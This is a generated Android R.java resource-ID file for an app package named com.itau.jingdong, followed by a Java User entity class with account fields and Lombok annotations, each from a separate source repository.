public static final int register_normal_email_hint=0x7f0a0053;
public static final int register_normal_password=0x7f0a0054;
public static final int register_normal_password_hint=0x7f0a0055;
public static final int register_normal_repassword=0x7f0a0056;
public static final int register_normal_repassword_hint=0x7f0a0057;
public static final int register_normal_useraccount=0x7f0a0050;
public static final int register_normal_useraccount_hint=0x7f0a0051;
public static final int register_tip=0x7f0a004e;
public static final int registerfree=0x7f0a003e;
/** 注册
*/
public static final int registerinfo=0x7f0a004d;
public static final int search_info=0x7f0a003a;
public static final int splash_version_info=0x7f0a0001;
public static final int switch_off=0x7f0a005e;
public static final int switch_on=0x7f0a005d;
public static final int usecooperationaccount=0x7f0a003d;
}
public static final class style {
public static final int AppBaseTheme=0x7f0c0001;
public static final int AppTheme=0x7f0c0002;
public static final int LoginTextStyle=0x7f0c0016;
public static final int PersonalBottomStyle=0x7f0c000e;
public static final int PersonalCenterStyle=0x7f0c000f;
public static final int PersonalCenterText=0x7f0c0009;
public static final int PersonalCenterText2=0x7f0c000a;
public static final int PersonalIconStyle=0x7f0c0010;
public static final int PersonalLeftIconStyle=0x7f0c0014;
public static final int PersonalLine=0x7f0c000b;
public static final int PersonalMainLayoutStyle=0x7f0c0015;
public static final int PersonalNormalStyle=0x7f0c000d;
public static final int PersonalRightIconStyle=0x7f0c0012;
public static final int PersonalTextStyle=0x7f0c0011;
public static final int PersonalTopStyle=0x7f0c000c;
public static final int Popup_Animation_Alpha=0x7f0c0006;
public static final int PresentAnimation=0x7f0c0008;
public static final int SplashTheme=0x7f0c0003;
public static final int Switch=0x7f0c0000;
public static final int Theme_Present=0x7f0c0007;
public static final int ToggleButtonStyle=0x7f0c0013;
public static final int home_color_shopping_button=0x7f0c0005;
public static final int home_tab_bottom=0x7f0c0004;
}
public static final class styleable {
/** Attributes that can be used with a CirclePageIndicator.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #CirclePageIndicator_android_background android:background}</code></td><td> View background </td></tr>
<tr><td><code>{@link #CirclePageIndicator_android_orientation android:orientation}</code></td><td> Orientation of the indicator.</td></tr>
<tr><td><code>{@link #CirclePageIndicator_centered com.itau.jingdong:centered}</code></td><td> Whether or not the indicators should be centered.</td></tr>
<tr><td><code>{@link #CirclePageIndicator_fillColor com.itau.jingdong:fillColor}</code></td><td> Color of the filled circle that represents the current page.</td></tr>
<tr><td><code>{@link #CirclePageIndicator_pageColor com.itau.jingdong:pageColor}</code></td><td> Color of the filled circles that represents pages.</td></tr>
<tr><td><code>{@link #CirclePageIndicator_radius com.itau.jingdong:radius}</code></td><td> Radius of the circles.</td></tr>
<tr><td><code>{@link #CirclePageIndicator_snap com.itau.jingdong:snap}</code></td><td> Whether or not the selected indicator snaps to the circles.</td></tr>
<tr><td><code>{@link #CirclePageIndicator_strokeColor com.itau.jingdong:strokeColor}</code></td><td> Color of the open circles.</td></tr>
<tr><td><code>{@link #CirclePageIndicator_strokeWidth com.itau.jingdong:strokeWidth}</code></td><td> Width of the stroke used to draw the circles.</td></tr>
</table>
@see #CirclePageIndicator_android_background
@see #CirclePageIndicator_android_orientation
@see #CirclePageIndicator_centered
@see #CirclePageIndicator_fillColor
@see #CirclePageIndicator_pageColor
@see #CirclePageIndicator_radius
@see #CirclePageIndicator_snap
@see #CirclePageIndicator_strokeColor
@see #CirclePageIndicator_strokeWidth
*/
public static final int[] CirclePageIndicator = {
0x010100c4, 0x010100d4, 0x7f010005, 0x7f010007,
0x7f010009, 0x7f01000a, 0x7f01000b, 0x7f01000c,
0x7f01000d
};
/**
<p>
@attr description
View background
<p>This corresponds to the global attribute
resource symbol {@link android.R.attr#background}.
@attr name android:background
*/
public static final int CirclePageIndicator_android_background = 1;
/**
<p>
@attr description
Orientation of the indicator.
<p>This corresponds to the global attribute
resource symbol {@link android.R.attr#orientation}.
@attr name android:orientation
*/
public static final int CirclePageIndicator_android_orientation = 0;
/**
<p>
@attr description
Whether or not the indicators should be centered.
<p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
<p>This is a private symbol.
@attr name com.itau.jingdong:centered
*/
public static final int CirclePageIndicator_centered = 2;
/**
<p>
@attr description
Color of the filled circle that represents the current page.
<p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
<p>This is a private symbol.
@attr name com.itau.jingdong:fillColor
*/
public static final int CirclePageIndicator_fillColor = 4;
/**
<p>
@attr description
Color of the filled circles that represents pages.
<p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
<p>This is a private symbol.
@attr name com.itau.jingdong:pageColor
*/
public static final int CirclePageIndicator_pageColor = 5;
/**
<p>
@attr description
Radius of the circles. This is also the spacing between circles.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
<p>This is a private symbol.
@attr name com.itau.jingdong:radius
*/
public static final int CirclePageIndicator_radius = 6;
/**
<p>
@attr description
Whether or not the selected indicator snaps to the circles.
<p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
<p>This is a private symbol.
@attr name com.itau.jingdong:snap
*/
public static final int CirclePageIndicator_snap = 7;
/**
<p>
@attr description
Color of the open circles.
<p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
<p>This is a private symbol.
@attr name com.itau.jingdong:strokeColor
*/
public static final int CirclePageIndicator_strokeColor = 8;
/**
<p>
@attr description
Width of the stroke used to draw the circles.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
<p>This is a private symbol.
@attr name com.itau.jingdong:strokeWidth
*/
public static final int CirclePageIndicator_strokeWidth = 3;
/** Attributes that can be used with a JazzyViewPager.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #JazzyViewPager_fadeEnabled com.itau.jingdong:fadeEnabled}</code></td><td></td></tr>
<tr><td><code>{@link #JazzyViewPager_outlineColor com.itau.jingdong:outlineColor}</code></td><td></td></tr>
<tr><td><code>{@link #JazzyViewPager_outlineEnabled com.itau.jingdong:outlineEnabled}</code></td><td></td></tr>
<tr><td><code>{@link #JazzyViewPager_style com.itau.jingdong:style}</code></td><td></td></tr>
</table>
@see #JazzyViewPager_fadeEnabled
@see #JazzyViewPager_outlineColor
@see #JazzyViewPager_outlineEnabled
@see #JazzyViewPager_style
*/
public static final int[] JazzyViewPager = {
0x7f010000, 0x7f010001, 0x7f010002, 0x7f010003
};
/**
<p>This symbol is the offset where the {@link com.itau.jingdong.R.attr#fadeEnabled}
attribute's value can be found in the {@link #JazzyViewPager} array.
<p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.itau.jingdong:fadeEnabled
*/
public static final int JazzyViewPager_fadeEnabled = 1;
/**
<p>This symbol is the offset where the {@link com.itau.jingdong.R.attr#outlineColor}
attribute's value can be found in the {@link #JazzyViewPager} array.
<p>May be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
<p>May be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
@attr name com.itau.jingdong:outlineColor
*/
public static final int JazzyViewPager_outlineColor = 3;
/**
<p>This symbol is the offset where the {@link com.itau.jingdong.R.attr#outlineEnabled}
attribute's value can be found in the {@link #JazzyViewPager} array.
<p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.itau.jingdong:outlineEnabled
*/
public static final int JazzyViewPager_outlineEnabled = 2;
/**
<p>This symbol is the offset where the {@link com.itau.jingdong.R.attr#style}
attribute's value can be found in the {@link #JazzyViewPager} array.
<p>Must be one of the following constant values.</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Constant</th><th>Value</th><th>Description</th></tr>
<tr><td><code>standard</code></td><td>0</td><td></td></tr>
<tr><td><code>tablet</code></td><td>1</td><td></td></tr>
<tr><td><code>cubein</code></td><td>2</td><td></td></tr>
<tr><td><code>cubeout</code></td><td>3</td><td></td></tr>
<tr><td><code>flipvertical</code></td><td>4</td><td></td></tr>
<tr><td><code>fliphorizontal</code></td><td>5</td><td></td></tr>
<tr><td><code>stack</code></td><td>6</td><td></td></tr>
<tr><td><code>zoomin</code></td><td>7</td><td></td></tr>
<tr><td><code>zoomout</code></td><td>8</td><td></td></tr>
<tr><td><code>rotateup</code></td><td>9</td><td></td></tr>
<tr><td><code>rotatedown</code></td><td>10</td><td></td></tr>
<tr><td><code>accordion</code></td><td>11</td><td></td></tr>
</table>
@attr name com.itau.jingdong:style
*/
public static final int JazzyViewPager_style = 0;
/** Attributes that can be used with a Switch.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #Switch_switchMinWidth com.itau.jingdong:switchMinWidth}</code></td><td> Minimum width for the switch component </td></tr>
<tr><td><code>{@link #Switch_switchPadding com.itau.jingdong:switchPadding}</code></td><td> Minimum space between the switch and caption text </td></tr>
<tr><td><code>{@link #Switch_switchTextAppearance com.itau.jingdong:switchTextAppearance}</code></td><td> TextAppearance style for text displayed on the switch thumb.</td></tr>
<tr><td><code>{@link #Switch_textOff com.itau.jingdong:textOff}</code></td><td> Text to use when the switch is in the unchecked/"off" state.</td></tr>
<tr><td><code>{@link #Switch_textOn com.itau.jingdong:textOn}</code></td><td> Text to use when the switch is in the checked/"on" state.</td></tr>
<tr><td><code>{@link #Switch_thumb com.itau.jingdong:thumb}</code></td><td> Drawable to use as the "thumb" that switches back and forth.</td></tr>
<tr><td><code>{@link #Switch_thumbTextPadding com.itau.jingdong:thumbTextPadding}</code></td><td> Amount of padding on either side of text within the switch thumb.</td></tr>
<tr><td><code>{@link #Switch_track com.itau.jingdong:track}</code></td><td> Drawable to use as the "track" that the switch thumb slides within.</td></tr>
</table>
@see #Switch_switchMinWidth
@see #Switch_switchPadding
@see #Switch_switchTextAppearance
@see #Switch_textOff
@see #Switch_textOn
@see #Switch_thumb
@see #Switch_thumbTextPadding
@see #Switch_track
*/
public static final int[] Switch = {
0x7f01000f, 0x7f010010, 0x7f010011, 0x7f010012,
0x7f010013, 0x7f010014, 0x7f010015, 0x7f010016
};
/**
<p>
@attr description
Minimum width for the switch component
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
<p>This is a private symbol.
@attr name com.itau.jingdong:switchMinWidth
*/
public static final int Switch_switchMinWidth = 6;
/**
<p>
@attr description
Minimum space between the switch and caption text
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
<p>This is a private symbol.
@attr name com.itau.jingdong:switchPadding
*/
public static final int Switch_switchPadding = 7;
/**
<p>
@attr description
TextAppearance style for text displayed on the switch thumb.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
<p>This is a private symbol.
@attr name com.itau.jingdong:switchTextAppearance
*/
public static final int Switch_switchTextAppearance = 5;
/**
<p>
@attr description
Text to use when the switch is in the unchecked/"off" state.
<p>Must be a string value, using '\\;' to escape characters such as '\\n' or '\\uxxxx' for a unicode character.
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
<p>This is a private symbol.
@attr name com.itau.jingdong:textOff
*/
public static final int Switch_textOff = 3;
/**
<p>
@attr description
Text to use when the switch is in the checked/"on" state.
<p>Must be a string value, using '\\;' to escape characters such as '\\n' or '\\uxxxx' for a unicode character.
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
<p>This is a private symbol.
@attr name com.itau.jingdong:textOn
*/
public static final int Switch_textOn = 2;
/**
<p>
@attr description
Drawable to use as the "thumb" that switches back and forth.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
<p>This is a private symbol.
@attr name com.itau.jingdong:thumb
*/
public static final int Switch_thumb = 0;
/**
<p>
@attr description
Amount of padding on either side of text within the switch thumb.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
<p>This is a private symbol.
@attr name com.itau.jingdong:thumbTextPadding
*/
public static final int Switch_thumbTextPadding = 4;
/**
<p>
@attr description
Drawable to use as the "track" that the switch thumb slides within.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
<p>This is a private symbol.
@attr name com.itau.jingdong:track
*/
public static final int Switch_track = 1;
/** Attributes that can be used with a Switch_Style.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #Switch_Style_switchStyle com.itau.jingdong:switchStyle}</code></td><td> Default style for the Switch widget.</td></tr>
</table>
@see #Switch_Style_switchStyle
*/
public static final int[] Switch_Style = {
0x7f01000e
};
/**
<p>
@attr description
Default style for the Switch widget.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
<p>This is a private symbol.
@attr name com.itau.jingdong:switchStyle
*/
public static final int Switch_Style_switchStyle = 0;
/** Attributes that can be used with a TextAppearance.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #TextAppearance_textAllCaps com.itau.jingdong:textAllCaps}</code></td><td> Present the text in ALL CAPS.</td></tr>
<tr><td><code>{@link #TextAppearance_textColor com.itau.jingdong:textColor}</code></td><td> Text color.</td></tr>
<tr><td><code>{@link #TextAppearance_textColorHighlight com.itau.jingdong:textColorHighlight}</code></td><td> Color of the text selection highlight.</td></tr>
<tr><td><code>{@link #TextAppearance_textColorHint com.itau.jingdong:textColorHint}</code></td><td> Color of the hint text.</td></tr>
<tr><td><code>{@link #TextAppearance_textColorLink com.itau.jingdong:textColorLink}</code></td><td> Color of the links.</td></tr>
<tr><td><code>{@link #TextAppearance_textSize com.itau.jingdong:textSize}</code></td><td> Size of the text.</td></tr>
<tr><td><code>{@link #TextAppearance_textStyle com.itau.jingdong:textStyle}</code></td><td> Style (bold, italic, bolditalic) for the text.</td></tr>
<tr><td><code>{@link #TextAppearance_typeface com.itau.jingdong:typeface}</code></td><td> Typeface (normal, sans, serif, monospace) for the text.</td></tr>
</table>
@see #TextAppearance_textAllCaps
@see #TextAppearance_textColor
@see #TextAppearance_textColorHighlight
@see #TextAppearance_textColorHint
@see #TextAppearance_textColorLink
@see #TextAppearance_textSize
@see #TextAppearance_textStyle
@see #TextAppearance_typeface
*/
public static final int[] TextAppearance = {
0x7f010017, 0x7f010018, 0x7f010019, 0x7f01001a,
0x7f01001b, 0x7f01001c, 0x7f01001d, 0x7f01001e
};
/**
<p>
@attr description
Present the text in ALL CAPS. This may use a small-caps form when available.
<p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
<p>This is a private symbol.
@attr name com.itau.jingdong:textAllCaps
*/
public static final int TextAppearance_textAllCaps = 7;
/**
<p>
@attr description
Text color.
<p>May be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
<p>May be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This is a private symbol.
@attr name com.itau.jingdong:textColor
*/
public static final int TextAppearance_textColor = 0;
/**
<p>
@attr description
Color of the text selection highlight.
<p>May be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
<p>May be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This is a private symbol.
@attr name com.itau.jingdong:textColorHighlight
*/
public static final int TextAppearance_textColorHighlight = 4;
/**
<p>
@attr description
Color of the hint text.
<p>May be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
<p>May be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This is a private symbol.
@attr name com.itau.jingdong:textColorHint
*/
public static final int TextAppearance_textColorHint = 5;
/**
<p>
@attr description
Color of the links.
<p>May be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
<p>May be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This is a private symbol.
@attr name com.itau.jingdong:textColorLink
*/
public static final int TextAppearance_textColorLink = 6;
/**
<p>
@attr description
Size of the text. Recommended dimension type for text is "sp" for scaled-pixels (example: 15sp).
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
<p>This is a private symbol.
@attr name com.itau.jingdong:textSize
*/
public static final int TextAppearance_textSize = 1;
/**
<p>
@attr description
Style (bold, italic, bolditalic) for the text.
<p>Must be one or more (separated by '|') of the following constant values.</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Constant</th><th>Value</th><th>Description</th></tr>
<tr><td><code>normal</code></td><td>0</td><td></td></tr>
<tr><td><code>bold</code></td><td>1</td><td></td></tr>
<tr><td><code>italic</code></td><td>2</td><td></td></tr>
</table>
<p>This is a private symbol.
@attr name com.itau.jingdong:textStyle
*/
public static final int TextAppearance_textStyle = 2;
/**
<p>
@attr description
Typeface (normal, sans, serif, monospace) for the text.
<p>Must be one of the following constant values.</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Constant</th><th>Value</th><th>Description</th></tr>
<tr><td><code>normal</code></td><td>0</td><td></td></tr>
<tr><td><code>sans</code></td><td>1</td><td></td></tr>
<tr><td><code>serif</code></td><td>2</td><td></td></tr>
<tr><td><code>monospace</code></td><td>3</td><td></td></tr>
</table>
<p>This is a private symbol.
@attr name com.itau.jingdong:typeface
*/
public static final int TextAppearance_typeface = 3;
/** Attributes that can be used with a ViewPagerIndicator.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #ViewPagerIndicator_vpiCirclePageIndicatorStyle com.itau.jingdong:vpiCirclePageIndicatorStyle}</code></td><td> Style of the circle indicator.</td></tr>
</table>
@see #ViewPagerIndicator_vpiCirclePageIndicatorStyle
*/
public static final int[] ViewPagerIndicator = {
0x7f010004
};
/**
<p>
@attr description
Style of the circle indicator.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
<p>This is a private symbol.
@attr name com.itau.jingdong:vpiCirclePageIndicatorStyle
*/
public static final int ViewPagerIndicator_vpiCirclePageIndicatorStyle = 0;
};
}
| TimAimee/-android-source-code | 京东/SplashActivity/gen/com/itau/jingdong/R.java |
65,512 | package com.xinran.pojo;
import java.util.Date;
import lombok.Data;
import com.fasterxml.jackson.annotation.JsonFormat;
import com.xinran.util.DateUtil;
/**
* Created by 高海军 帝奇 on 2015 Feb 13 07:32.
*/
@Data
public class User {
public User() {
Date now = DateUtil.getCurrentDate();
this.createdAt = now;
this.updatedAt = now;
}
private Long id;
@JsonFormat(shape = JsonFormat.Shape.STRING, pattern = "yyyy-MM-dd HH:mm:ss")
private Date createdAt;
@JsonFormat(shape = JsonFormat.Shape.STRING, pattern = "yyyy-MM-dd HH:mm:ss")
private Date updatedAt;
private String userName;
private String nickName; // add
private String mobile;
private String email;
private String password; // 加密后的密码
private String salt;
private String resetPasswordToken;
@JsonFormat(shape = JsonFormat.Shape.STRING, pattern = "yyyy-MM-dd HH:mm:ss")
private Date resetPasswordSentAt;
@JsonFormat(shape = JsonFormat.Shape.STRING, pattern = "yyyy-MM-dd HH:mm:ss")
private Date rememberCreatedAt;
private Integer signInCount = 0;
@JsonFormat(shape = JsonFormat.Shape.STRING, pattern = "yyyy-MM-dd HH:mm:ss")
private Date currentSignInAt;
@JsonFormat(shape = JsonFormat.Shape.STRING, pattern = "yyyy-MM-dd HH:mm:ss")
private Date lastSignInAt;
private String area; //
private String signature; // 个性签名
private Integer score; // 当前用户总积分
private String imgId; // 头像图片id
public String getNickName() {
if(nickName != null){
return nickName;
}else{
return userName;
}
}
}
| XinranReadingGroup/XinRanLibraryManagementSystem | web/src/main/java/com/xinran/pojo/User.java |